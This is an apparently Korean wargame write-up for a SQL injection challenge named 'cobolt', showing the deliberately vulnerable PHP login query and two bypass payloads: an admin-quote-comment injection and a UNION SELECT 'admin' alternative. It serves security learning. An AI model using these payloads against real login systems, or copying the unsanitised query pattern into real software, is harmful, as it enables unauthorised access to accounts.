문제 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>이번 문제는 단순히 아무 계정으로 로그인하면 되는 것이 아니라, 반환된 id가 admin이어야 합니다. pw는 md5()로 감싸져 있지만 id에서 문자열을 닫고 뒤 조건을 주석 처리하면 비밀번호 검사를 우회할 수 있습니다.
preg_match() 함수란?
문자열 내에서 특정 패턴을 검색하고 일치하는 부분을 찾는 함수입니다. 일치하면
1, 일치하지 않으면0이 반환됩니다.preg_match($pattern, $subject, $matches, $flags, $offset)
$pattern: 검색할 정규 표현식 패턴$subject: 검색 대상 문자열$matches: 검색 결과를 저장할 배열$flags:PREG_OFFSET_CAPTURE등 검색 옵션$offset: 검색을 시작할 위치
exploit
주석을 이용한 풀이
?id=admin' -- &pw=URL 인코딩까지 적용하면 다음처럼 보낼 수 있습니다.
?id=admin%27%20--%20&pw=최종 쿼리는 아래와 같은 형태가 됩니다.
select id from prob_cobolt where id='admin' -- ' and pw=md5('')id='admin' 조건만 남고 뒤의 pw=md5(...) 조건은 주석 처리됩니다. 따라서 DB에서 admin 행이 반환되고 solve("cobolt")가 실행됩니다.
UNION SELECT를 이용한 대체 풀이
?id=' union select 'admin' -- &pw=이 방식은 실제 테이블에서 행을 가져오는 대신 union select 'admin'으로 id 컬럼 위치에 admin 값을 직접 만들어 반환합니다.
배운 내용
md5()같은 해시 함수가 있더라도 쿼리 구조를 끊고 뒤 조건을 주석 처리하면 검증 로직 전체를 우회할 수 있습니다.- 클리어 조건이
result['id'] == 'admin'처럼 특정 값 비교라면, 반환되는 컬럼 값을admin으로 만드는 것이 핵심입니다. UNION SELECT는 기존 조회 결과에 공격자가 만든 행을 추가할 수 있습니다.